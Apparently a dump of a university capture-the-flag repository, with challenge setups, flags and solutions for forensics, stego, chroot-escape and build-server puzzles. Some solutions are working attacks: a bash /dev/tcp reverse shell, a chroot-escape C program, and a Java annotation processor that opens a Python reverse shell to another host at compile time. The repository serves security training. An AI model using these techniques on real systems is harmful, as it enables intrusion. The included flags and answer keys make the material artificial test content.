when you are ready.', flush=True) 10 | input() 11 | 12 | i = random.randint(0, len(primes)-1) 13 | j = random.randint(0, len(primes)-1) 14 | print(primes[i]*primes[j], flush=True) 15 | t = time.time() 16 | a, b = map(int, input().split()) 17 | t1 = time.time() 18 | if t1-t > 2: 19 | print('Too slow :(', flush=True) 20 | return 21 | 22 | if a*b != primes[i]*primes[j]: 23 | print('Wrong answer :(', flush=True) 24 | return 25 | 26 | with open('flag.txt', 'r') as flagfile: 27 | print('Good job :)', flush=True) 28 | print(flagfile.read(), flush=True) 29 | 30 | 31 | if __name__ == '__main__': 32 | go() 33 | -------------------------------------------------------------------------------- /Misc/RSAPWN/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | 4 | r = remote('127.0.0.1', 8573) 5 | r.sendline('') 6 | r.recvline() 7 | r.recvline() 8 | r.recvline() 9 | r.recvline() 10 | r.recvline() 11 | r.recvline() 12 | p = int(r.recvline()) 13 | for i in range(2,10000001): 14 | if p%i==0: 15 | r.sendline(str(i) + ' ' + str(p//i)) 16 | r.recvline() 17 | print(r.recvline().decode('utf-8'), end='') 18 | exit() 19 | -------------------------------------------------------------------------------- /Misc/RSAPWN/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while : 4 | do 5 | su -c "exec socat -d tcp-listen:8573,reuseaddr,fork exec:\"python3 /misc/server.py\",stderr" - ctfuser; 6 | done 7 | -------------------------------------------------------------------------------- /Misc/alCapone/README.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone's personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? 3 | 4 | (hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it. Little did he know that Ness was smarter than him.) 5 | 6 | # Documentation 7 | This is a very simple challenge that gives beginners experience working with forensic toolkits. 8 | 9 | # Set Up 10 | Direct Download link: https://drive.google.com/uc?export=download&id=1sdReBozky4P0A2Albs5sPISc9zFYtzmw 11 | 12 | # Solution 13 | I used FTK Imager to upload the img file and inspected the Recycle Bin. Extracting all the text files and using strings or grep for each file yileds the flag. 14 | 15 | # Write Up 16 | Use FTK Imager or Autopsy to find deleted files. In one of the deleted files, the flag is among the mess. For me, it was hidden in Dc50.txt. 17 | 18 | To recreate this challenge, follow these simple steps: 19 | 1. Download WindowsXP (I used Windows XP Professional) disk image 20 | 2. Download Oracle Virtual Box 21 | 3. Set up WindowsXP in Oracle (there are youtube videos -- it is fairly simple) 22 | 4. Within the VB, I created a couple text documents and then filled them with random strings then duplicated the documents to make the XP look cluttered. Within one of those text documents, the flag is part of the random strings. 23 | 5. Then I grabbed all of them and deleted them (also keeping a bunch of the text docs on the desktop - none have the flag). 24 | 6. Now the XP is challenge is ready. All you gotta do next is create a img of the vdi (virtual disk image). 25 | 7. To do so, open up terminal and navigate to the Oracle->VirtualBox and use VBoxManage to clone the vdi to an img. 26 | 8. Now you have the challenge that I created! 27 | -------------------------------------------------------------------------------- /Misc/alCapone/flag_alCapone.txt: -------------------------------------------------------------------------------- 1 | gigem{Ch4Nn3l_1nn3R_3l10t_N3$$} -------------------------------------------------------------------------------- /Misc/blind/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:buster-slim 2 | 3 | RUN apt update 4 | RUN apt install socat -y 5 | 6 | RUN mkdir /ctf 7 | COPY start.sh /ctf/start.sh 8 | COPY exec.sh /ctf/exec.sh 9 | COPY flag.txt /ctf/flag.txt 10 | 11 | RUN useradd ctfuser -d /ctf 12 | RUN chown ctfuser:ctfuser /ctf/flag.txt 13 | 14 | EXPOSE 3424 15 | 16 | ENTRYPOINT ["bash","/ctf/start.sh"] -------------------------------------------------------------------------------- /Misc/blind/README.md: -------------------------------------------------------------------------------- 1 | # blind 2 | 3 | `nc 3424` 4 | 5 | ## Setup 6 | 7 | 1. `docker build -t blind .` 8 | 2. `docker run --rm -it -p 3424:3424 --read-only blind` 9 | 10 | ## Brief Dev Description 11 | 12 | A script which will execute arbitrary bash but it'll only tell you the exit code. Basically it's do you know that netcat exists (and bash /dev/tcp since netcat isn't installed on the server): the challenge. 13 | 14 | ## Solution 15 | 16 | 1. make a netcat listener for your future reverse shell `nc -lvp 4444` 17 | 2. run `/bin/bash -i > /dev/tcp//4444 0<&1 2>&1` 18 | 3. run `cat flag.txt` -------------------------------------------------------------------------------- /Misc/blind/exec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | printf "Execute: " 3 | while read text; 4 | do 5 | bash -c "$text" >/dev/null 2>&1; 6 | echo $?; 7 | printf "Execute: " 8 | done -------------------------------------------------------------------------------- /Misc/blind/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{r3v3r53_5h3ll5} -------------------------------------------------------------------------------- /Misc/blind/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:3424,reuseaddr,fork EXEC:/ctf/exec.sh,stderr" - ctfuser; 6 | done 7 | -------------------------------------------------------------------------------- /Misc/corrupted_disk/README.md: -------------------------------------------------------------------------------- 1 | # Corrupted Disk 2 | ```text 3 | We've recovered this disk image but it seems to be damaged. Can you recover any useful information from it? 4 | ``` 5 | 6 | 7 | ## Setup 8 | 9 | 1. `sudo ./build.sh` 10 | 11 | It requires root because mounting. I couldn't find a way to mount an image in docker without mounting it in the host first. 12 | 13 | ## Brief Dev Description 14 | 15 | basic file carving challenge 16 | 17 | ## Solution 18 | 19 | I used `binwalk --dd='.*' recovered_disk.img` and then just checked photos one by one until one looked relevant. -------------------------------------------------------------------------------- /Misc/corrupted_disk/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | fallocate -l 4m file.img; 4 | mkfs.ext4 file.img; 5 | mkdir file; 6 | mount file.img file; 7 | convert -gravity center -extent 110x130% label:"gigem{wh3r3_w3r3_601n6_w3_d0n7_n33d_h34d3r5}" -strip flag.png; 8 | cp document.docx file/document.docx; 9 | cp dummy.pdf file/dummy.pdf; 10 | cp reveille.jpg file/reveille.jpg; 11 | cp snake.png file/snake.png; 12 | cp yQw6zFn.jpg file/yQw6zFn.jpg; 13 | cp flag.png file/flag.png; 14 | umount file; 15 | rm -rf file; 16 | dd bs=1360 skip=1 if=file.img of=recovered_disk.img; 17 | rm file.img 18 | rm flag.png 19 | -------------------------------------------------------------------------------- /Misc/corrupted_disk/document.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/corrupted_disk/document.docx -------------------------------------------------------------------------------- /Misc/corrupted_disk/dummy.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/corrupted_disk/dummy.pdf -------------------------------------------------------------------------------- /Misc/corrupted_disk/reveille.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/corrupted_disk/reveille.jpg -------------------------------------------------------------------------------- /Misc/corrupted_disk/snake.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/corrupted_disk/snake.png -------------------------------------------------------------------------------- /Misc/corrupted_disk/yQw6zFn.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/corrupted_disk/yQw6zFn.jpg -------------------------------------------------------------------------------- /Misc/geography/README.md: -------------------------------------------------------------------------------- 1 | # Geography 2 | 3 | My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. 4 | 5 | She's always been a bit cryptic. She told me to "surround with gigem{} that which can be seen from a bird's eye view"... what? 6 | 7 | ## Setup 8 | 9 | Just needs the description! 10 | 11 | ## Brief Dev Description 12 | 13 | Introduces users to floating point representation, and forces them to think outside the box. 14 | 15 | ## Solution 16 | 17 | 1. Convert binary to IEEE 754 floating point numbers. 18 | 2. Swap the order. 19 | 3. Find a coca-colo logo at these coordinates in Chile on Google Maps. Flag is gigem{coca-cola}. 20 | -------------------------------------------------------------------------------- /Misc/instagram/README.md: -------------------------------------------------------------------------------- 1 | # Instagram 2 | 3 | I need a hacker please!!! My photo was going to get thousands of likes, but it was corrupted 😩. 4 | 5 | ## Setup 6 | 7 | Just need to replace the link in the description to an actualy download link of `photo.png`. NOTE: make sure 8 | we upload `photo.png`, and NOT `photo.jpg`. 9 | 10 | ## Brief Dev Description 11 | 12 | A handwritten flag that needs to be opened as a jpg instead of png. 13 | 14 | ## Solution 15 | 16 | All one needs to do is change the extension to .jpg and add back the "JFIF" header. 17 | Diff `photo.jpg` and `photo.png` to see the solution. 18 | -------------------------------------------------------------------------------- /Misc/instagram/photo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/instagram/photo.png -------------------------------------------------------------------------------- /Misc/instagram/solution/photo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/instagram/solution/photo.jpg -------------------------------------------------------------------------------- /Misc/not-so-great-escape/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk --no-cache add socat 4 | 5 | ENV chroot_dir=/pwn/jail 6 | ENV arch=x86_64 7 | ENV mirror=http://mirror.math.princeton.edu/pub/alpinelinux/ 8 | ENV version=2.10.4-r3 9 | 10 | WORKDIR ${chroot_dir} 11 | 12 | RUN wget ${mirror}/latest-stable/main/${arch}/apk-tools-static-${version}.apk 13 | RUN tar -xzf apk-tools-static-*.apk 14 | RUN rm apk-tools-static-*.apk 15 | RUN ./sbin/apk.static -X ${mirror}/latest-stable/main -U --allow-untrusted --root ${chroot_dir} --initdb add alpine-base 16 | 17 | ADD not-so-great-escape.sh /pwn/not-so-great-escape 18 | ADD flag.txt /pwn 19 | 20 | ENTRYPOINT ["timeout", "900", "sh", "-c", "exec socat -d -d tcp-l:4353,reuseaddr,fork exec:/pwn/not-so-great-escape,pty,setsid,setpgid,stderr,ctty"] 21 | -------------------------------------------------------------------------------- /Misc/not-so-great-escape/README.md: -------------------------------------------------------------------------------- 1 | # Not So Great Escape 2 | 3 | ```text 4 | We've set up a chroot for you to develop your musl code in. It's bare, so install whatever you need. 5 | 6 | Feel free to log in with: socat -,raw,echo=0 tcp:172.17.0.2:4353 7 | The password is "2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e". 8 | ``` 9 | 10 | ## Setup 11 | 12 | 1. `docker build -t not-so-great-escape .` 13 | 2. `docker run --rm -ti --read-only --tmpfs /tmp:exec not-so-great-escape` 14 | 15 | You MUST run this with all the flags listed! 16 | 17 | ## Brief Dev Description 18 | 19 | Easy chroot escape. Have fun. :) 20 | 21 | ## Solution 22 | 23 | You can copy/paste the contents of solution.bin into the terminal after connecting. 24 | -------------------------------------------------------------------------------- /Misc/not-so-great-escape/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{up_up_&_a_way_0u7} 2 | -------------------------------------------------------------------------------- /Misc/not-so-great-escape/not-so-great-escape.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | chroot_dir=$(mktemp -d) 4 | 5 | function cleanup { 6 | rm -rf ${chroot_dir} 7 | } 8 | trap cleanup EXIT 9 | 10 | read -sp "Password: " password 11 | echo 12 | 13 | if [[ -z "${password}" || "2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e" != "${password}" ]]; then 14 | echo -e "Bad password. Exiting." 15 | exit 1 16 | fi 17 | 18 | cp -r /pwn/jail/* ${chroot_dir} 19 | 20 | cp /etc/apk/repositories ${chroot_dir}/etc/apk/repositories 21 | cp /etc/resolv.conf ${chroot_dir}/etc/resolv.conf 22 | 23 | chroot ${chroot_dir} 24 | -------------------------------------------------------------------------------- /Misc/not-so-great-escape/solution.bin: -------------------------------------------------------------------------------- 1 | 2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e 2 | apk add gcc musl-dev 3 | cat << EOF > exploit.c 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void die(char *msg) { 11 | perror(msg); 12 | exit(1); 13 | } 14 | 15 | int main(int argc, char *argv[]) 16 | { 17 | int i; 18 | 19 | if (chdir("/") != 0) 20 | die("chdir(/)"); 21 | 22 | if (mkdir("baz", 0777) != 0) 23 | die("mkdir(baz)"); 24 | 25 | if (chroot("baz") != 0) 26 | die("chroot(baz)"); 27 | 28 | for (i=0; i<50; i++) { 29 | if (chdir("..") != 0) 30 | die("chdir(..)"); 31 | } 32 | 33 | if (chroot(".") != 0) 34 | die("chroot(.)"); 35 | 36 | printf("Exploit seems to work. =)\n"); 37 | 38 | execl("/bin/sh", "sh", "-i", (char *)0); 39 | die("exec sh"); 40 | 41 | exit(0); 42 | } 43 | EOF 44 | gcc exploit.c 45 | ./a.out 46 | cat /pwn/flag.txt 47 | -------------------------------------------------------------------------------- /Misc/russiannestingdoll/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{dont_you_just_love_a_good_pcap?} 2 | -------------------------------------------------------------------------------- /Misc/russiannestingdoll/netlogs.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/russiannestingdoll/netlogs.pcap -------------------------------------------------------------------------------- /Misc/woofwoof/README.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Texas A&M's own Miss Reveille has been followed going to the Computing Services 4 | Complex by paparazi from The Battalion. Since she wants to keep this visit to the CSC private, we have apprehended the cameras from the paparazzi and have begun deleting all the photos. However, during our investigation we came 5 | across one photo that seemed a little suspicious. Can you help us figure out what is happening? 6 | 7 | # Documetation 8 | 9 | A simple steganography challenge incorporating the analysis of metadata and a simple cipher challenge with the results. 10 | 11 | ## Setup 12 | 13 | 1. Deliver the user the image, *reveille.jpg* 14 | 15 | # Solution 16 | 17 | This challenge should a simple steganography challenge. The encrypted flag can be discovered by looking at the images metadata. The encrypted flag is very blantant as it refers to dog noises and is listed as a comment. 18 | 19 | 20 | 21 | ``` 22 | exiftool reveille.jpg 23 | ``` 24 | 25 | The flag contains all dog related words, "woof", "bark", and "ruff". The user can, either by hand or by script, translate these words into the components of morse, "-", ".", and " " respectively. 26 | 27 | 28 | Once the words are translated to morse. The morse can be translated to plain text and the flag is available. 29 | -------------------------------------------------------------------------------- /Misc/woofwoof/reveille.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/woofwoof/reveille.jpg -------------------------------------------------------------------------------- /Misc/woofwoof/scripts/bark_flag.txt: -------------------------------------------------------------------------------- 1 | woof woof bark ruff bark bark ruff woof woof bark ruff bark ruff woof woof ruff woof bark bark bark bark woof ruff woof bark bark ruff woof woof woof woof woof ruff woof woof bark ruff woof ruff bark woof woof bark woof bark ruff bark bark bark ruff woof ruff bark woof woof woof woof ruff woof bark woof bark ruff bark woof woof woof ruff woof woof woof woof woof ruff woof bark bark bark ruff woof bark bark bark bark woof 2 | -------------------------------------------------------------------------------- /Misc/woofwoof/scripts/decoder.py: -------------------------------------------------------------------------------- 1 | file = open("secret.txt", "r") 2 | flag = file.readline() 3 | 4 | morse_flag = "" 5 | for word in flag.split(" "): 6 | if word == "woof": 7 | morse_flag += "-" 8 | if word == "bark": 9 | morse_flag += "." 10 | if word == "ruff": 11 | morse_flag += " " 12 | 13 | print(morse_flag) -------------------------------------------------------------------------------- /Misc/woofwoof/scripts/encoder.py: -------------------------------------------------------------------------------- 1 | file = open("morse_flag.txt", "r") 2 | flag = file.readline() 3 | 4 | morse_flag = "" 5 | for letter in flag: 6 | if letter == "-": 7 | morse_flag += "woof " 8 | if letter == ".": 9 | morse_flag += "bark " 10 | if letter == " ": 11 | morse_flag += "ruff " 12 | 13 | print(morse_flag) -------------------------------------------------------------------------------- /Misc/woofwoof/scripts/flag.txt: -------------------------------------------------------------------------------- 1 | GIGEM-D0GT@ST1CJ0B- 2 | -------------------------------------------------------------------------------- /Misc/woofwoof/scripts/morse_flag.txt: -------------------------------------------------------------------------------- 1 | --. .. --. . -- -....- -.. ----- --. - .--.-. ... - .---- -.-. .--- ----- -... -....- 2 | -------------------------------------------------------------------------------- /Misc/woofwoof/scripts/secret.txt: -------------------------------------------------------------------------------- 1 | bark woof woof ruff bark bark woof bark ruff woof bark woof woof ruff woof woof woof bark bark ruff bark bark woof woof woof ruff woof woof bark woof ruff woof bark woof bark ruff bark woof woof bark ruff woof woof bark bark bark ruff woof bark ruff bark bark woof ruff bark bark bark woof woof ruff bark woof bark bark ruff woof woof bark ruff bark bark ruff woof woof bark ruff bark ruff woof woof ruff woof bark bark bark bark woof ruff woof bark bark ruff woof woof woof woof woof ruff woof woof bark ruff woof ruff bark woof woof bark woof bark ruff bark bark bark ruff woof ruff bark woof woof woof woof ruff woof bark woof bark ruff bark woof woof woof ruff woof woof woof woof woof ruff woof bark bark bark ruff woof bark bark bark bark woof ruff bark woof woof ruff bark bark woof bark ruff woof bark woof woof ruff woof woof woof bark bark ruff bark bark woof woof woof ruff bark bark bark woof ruff woof woof ruff woof woof bark ruff bark bark ruff bark bark bark bark bark ruff woof bark -------------------------------------------------------------------------------- /Misc/zippity_doo_dah/README.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Lorelei, a nuclear engineer, is practicing how to create folders to organize her notes. She works closely with POTUS to secure our nuclear missiles. In order for her to send the nuclear codes to the correct authorities, she needs to zip all the files and make the data hard to find. Your mission, should you choose to accept it, is to intercept and find the codes (the flag). 3 | 4 | # Documentation 5 | This is a simple forensics challenge aimed for beginners. The focus is developing a script that can easily search through files to find what you may need. 6 | 7 | # Set Up 8 | Run the zipFile.py and it will recursively create more zipped folders. At the end, there will be a bunch of random text files and something else. 9 | 10 | # Write Up 11 | Use command line to unzip the folder until you get to the end and then look at the extensions of all the files and you'll notice there is a png in there. Using an online stego tool, you will find the flag ecoded in the picture. -------------------------------------------------------------------------------- /Misc/zippity_doo_dah/random150.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/zippity_doo_dah/random150.png -------------------------------------------------------------------------------- /Misc/zippity_doo_dah/zipFile.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import zipfile 4 | import os 5 | import io 6 | import sys 7 | 8 | sys.setrecursionlimit(1100) 9 | 10 | def createString(): 11 | return ''.join([random.choice(string.ascii_letters + string.digits) for i in range(10)]) 12 | 13 | def createZip(num): 14 | if num == 0: 15 | zip_bytes = io.BytesIO() 16 | zip = zipfile.ZipFile(zip_bytes, "w") 17 | randomI = random.randint(0, 550) 18 | for i in range(550): 19 | if i == randomI: 20 | zip.write("random150.png") 21 | else: 22 | zip.writestr("random%s.txt" % i, createString()) 23 | zip.close() 24 | return zip_bytes.getvalue() 25 | zip_bytes = io.BytesIO() 26 | zip = zipfile.ZipFile(zip_bytes, "w") 27 | zip.writestr("keepGoin.zip", createZip(num-1)) 28 | zip.close() 29 | return zip_bytes.getvalue() 30 | 31 | 32 | open("zipFolder.zip", "wb").write(createZip(2)) 33 | 34 | 35 | -------------------------------------------------------------------------------- /NetworkPentest/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/.gitkeep -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM adoptopenjdk/openjdk12:alpine-slim 2 | 3 | RUN apk add --no-cache --update python3 netcat-openbsd 4 | RUN adduser jsullivan --disabled-password 5 | 6 | EXPOSE 8000 7 | EXPOSE 9000 8 | 9 | COPY helpful-builder/ /home/jsullivan/helpful-builder 10 | COPY run.sh /home/jsullivan/run.sh 11 | 12 | RUN chown -hR jsullivan:jsullivan /home/jsullivan 13 | 14 | # pre-download gradle so contestants don't need to wait 15 | RUN su -s /bin/sh -c "cd /home/jsullivan/helpful-builder; sh gradlew --continue clean build || true" jsullivan 16 | 17 | WORKDIR /home/jsullivan 18 | 19 | COPY flag.txt /home/jsullivan/flag.txt 20 | 21 | CMD ["su", "-s", "/bin/sh", "-c", "cd helpful-builder; python3 -m http.server & cd .. && sh run.sh", "jsullivan"] 22 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/README.md: -------------------------------------------------------------------------------- 1 | # Helpful Builder 2 | 3 | ```text 4 | I know you can't build on your machine -- it's so dumb that IT won't install JDK12 for one of our developers. 5 | 6 | Go ahead and fire over a tarfile with the contents of src/main in it on our typical netcat port, I'll compile the test jar so you can run it on your side. 7 | I'll make my sources available on http://172.17.0.2:8000 so you can fetch the test jar. 8 | ``` 9 | 10 | ## Setup 11 | 12 | 1. `docker build -t helpful-builder .` 13 | 2. `docker run --rm -d helpful-builder` 14 | 15 | ## Brief Dev Description 16 | 17 | Netcat session which is reading from the stream in, untarring it into the src/main directory, then sending back the generated test jar. 18 | 19 | There are a few ways to solve this problem, but they all come down to compile time execution. The solution provided is one of the simpler ways to do this. 20 | 21 | ## Solution 22 | 23 | This particular solution used exploits annotations processors to spawn a reverse shell via the @Test annotation used by the testing classes. 24 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/config.yml: -------------------------------------------------------------------------------- 1 | # [default: None] A domain name to append to challenge names to create their default common name 2 | domain: naum.tamuctf.com 3 | 4 | # [default: './challenges'] The directory which contains your challenges 5 | # If the the path is relative, it will be relative to the generated docker-compose.yml file 6 | challenges_directory: ./challenges 7 | 8 | # [required] Configurations for each challenge 9 | challenges: 10 | helpful-builder: 11 | port: 2001 12 | files: 13 | - helpful-builder/docker-compose.yml 14 | commonname: 10.0.2.9 15 | ifconfig_push: 172.30.0.14/28 16 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | x-limits: &limits 4 | pids_limit: 1024 5 | cpu_shares: 256 6 | mem_limit: 512m 7 | logging: 8 | options: 9 | max-size: 10m 10 | max-file: '3' 11 | 12 | services: 13 | helpful-builder: 14 | <<: *limits 15 | build: . 16 | image: naumachia/helpful-builder.actor 17 | networks: 18 | default: 19 | ipv4_address: 172.30.0.2 20 | restart: unless-stopped 21 | 22 | networks: 23 | default: 24 | driver: l2bridge 25 | ipam: 26 | driver: static 27 | config: 28 | - subnet: 172.30.0.0/28 29 | naumachia_default: 30 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{w0w_ctfe_r3a11y_ex1s7s} 2 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/.gitignore: -------------------------------------------------------------------------------- 1 | .gradle 2 | build/ 3 | 4 | # Ignore Gradle GUI config 5 | gradle-app.setting 6 | 7 | # Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) 8 | !gradle-wrapper.jar 9 | 10 | # Cache of project 11 | .gradletasknamecache 12 | 13 | # # Work around https://youtrack.jetbrains.com/issue/IDEA-116898 14 | # gradle/wrapper/gradle-wrapper.properties 15 | 16 | # JetBrains IDE configuration files 17 | /.idea/ -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'java' 2 | 3 | group 'com.tamuctf.helpfulbuilder' 4 | version '1.0-SNAPSHOT' 5 | 6 | sourceCompatibility = 1.12 7 | 8 | repositories { 9 | mavenCentral() 10 | } 11 | 12 | task testJar(type: Jar) { 13 | from sourceSets.test.output + sourceSets.main.output 14 | 15 | baseName project.name + '-test' 16 | } 17 | 18 | assemble.dependsOn testJar 19 | 20 | dependencies { 21 | implementation group: 'org.jetbrains', name: 'annotations', version: '17.0.0' 22 | testCompile group: 'junit', name: 'junit', version: '4.12' 23 | } 24 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/helpful-builder/helpful-builder/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Sun Dec 29 11:25:50 CST 2019 2 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.10.2-all.zip 3 | distributionBase=GRADLE_USER_HOME 4 | distributionPath=wrapper/dists 5 | zipStorePath=wrapper/dists 6 | zipStoreBase=GRADLE_USER_HOME 7 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/lombok.config: -------------------------------------------------------------------------------- 1 | # This file is generated by the 'io.freefair.lombok' Gradle plugin 2 | config.stopBubbling = true 3 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'helpful-builder' 2 | 3 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/helpful-builder/src/test/java/com/tamuctf/helpfulbuilder/AddTest.java: -------------------------------------------------------------------------------- 1 | package com.tamuctf.helpfulbuilder; 2 | 3 | import org.junit.Test; 4 | 5 | import static com.tamuctf.helpfulbuilder.Add.add; 6 | import static org.junit.Assert.*; 7 | 8 | @SuppressWarnings("ConstantConditions") 9 | public class AddTest { 10 | 11 | @Test 12 | public void addTest() { 13 | assertEquals(0, add(1, -1).intValue()); 14 | } 15 | 16 | @Test(expected = NullPointerException.class) 17 | public void addFirstNullTest() { 18 | add(null, 0); 19 | } 20 | 21 | @Test(expected = NullPointerException.class) 22 | public void addSecondNullTest() { 23 | add(0, null); 24 | } 25 | 26 | 27 | @Test(expected = NullPointerException.class) 28 | public void addBothNullTest() { 29 | add(null, null); 30 | } 31 | 32 | 33 | } -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd helpful-builder 4 | 5 | while true; do 6 | nc -nlp 9000 > /tmp/main.tar 7 | rm -rf src/main # cleanup 8 | mkdir -p src/main 9 | cd src/main 10 | tar xf /tmp/main.tar 11 | cd ../.. 12 | ./gradlew clean testJar 13 | done 14 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/solution/.gitignore: -------------------------------------------------------------------------------- 1 | main.tar 2 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/solution/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd main 4 | tar cvf ../main.tar * 5 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/solution/main/java/com/tamuctf/helpfulbuilder/Add.java: -------------------------------------------------------------------------------- 1 | package com.tamuctf.helpfulbuilder; 2 | 3 | import org.jetbrains.annotations.Contract; 4 | import org.jetbrains.annotations.NotNull; 5 | 6 | public class Add { 7 | 8 | public static Integer add(Integer first, Integer second) { 9 | return first + second; 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/solution/main/java/exploit/ExploitProcessor.java: -------------------------------------------------------------------------------- 1 | package exploit; 2 | 3 | import javax.annotation.processing.AbstractProcessor; 4 | import javax.annotation.processing.RoundEnvironment; 5 | import javax.annotation.processing.SupportedAnnotationTypes; 6 | import javax.annotation.processing.SupportedSourceVersion; 7 | import javax.lang.model.SourceVersion; 8 | import javax.lang.model.element.TypeElement; 9 | import javax.tools.Diagnostic; 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.IOException; 12 | import java.io.PrintStream; 13 | import java.util.Set; 14 | 15 | @SupportedAnnotationTypes("org.junit.Test") 16 | @SupportedSourceVersion(SourceVersion.RELEASE_12) 17 | public class ExploitProcessor extends AbstractProcessor { 18 | 19 | @Override 20 | public boolean process(Set set, RoundEnvironment roundEnvironment) { 21 | try { 22 | Runtime r = Runtime.getRuntime(); 23 | Process p = r.exec(new String[]{"/usr/bin/python3", "-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.30.0.14\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"}); 24 | p.waitFor(); 25 | } catch (InterruptedException | IOException | RuntimeException e) { 26 | ByteArrayOutputStream output; 27 | try (PrintStream s = new PrintStream(output = new ByteArrayOutputStream())) { 28 | e.printStackTrace(s); 29 | } 30 | this.processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, output.toString()); 31 | } 32 | return false; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/solution/main/resources/META-INF/services/javax.annotation.processing.Processor: -------------------------------------------------------------------------------- 1 | exploit.ExploitProcessor -------------------------------------------------------------------------------- /NetworkPentest/helpful-builder/solution/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ./build.sh 4 | 5 | nc -q 1 172.30.0.2 9000 < main.tar 6 | nc -nvlp 4444 7 | -------------------------------------------------------------------------------- /NetworkPentest/listen/README.md: -------------------------------------------------------------------------------- 1 | # Listen 2 | 